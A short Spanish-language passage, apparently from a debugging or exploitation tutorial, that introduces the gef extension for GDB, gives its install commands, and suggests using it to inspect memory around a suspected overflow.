gef es otra extensión para GDB que mejora la experiencia de depuración al agregar funciones avanzadas, como un mejor análisis de la pila, visualización de memoria y más.

Para instalarlo y usarlo:

git clone https://github.com/hugsy/gef.git
echo "source /ruta/a/gef.py" >> ~/.gdbinit

Usa gef para analizar el estado de la memoria y ver exactamente dónde podría estar ocurriendo el desbordamiento.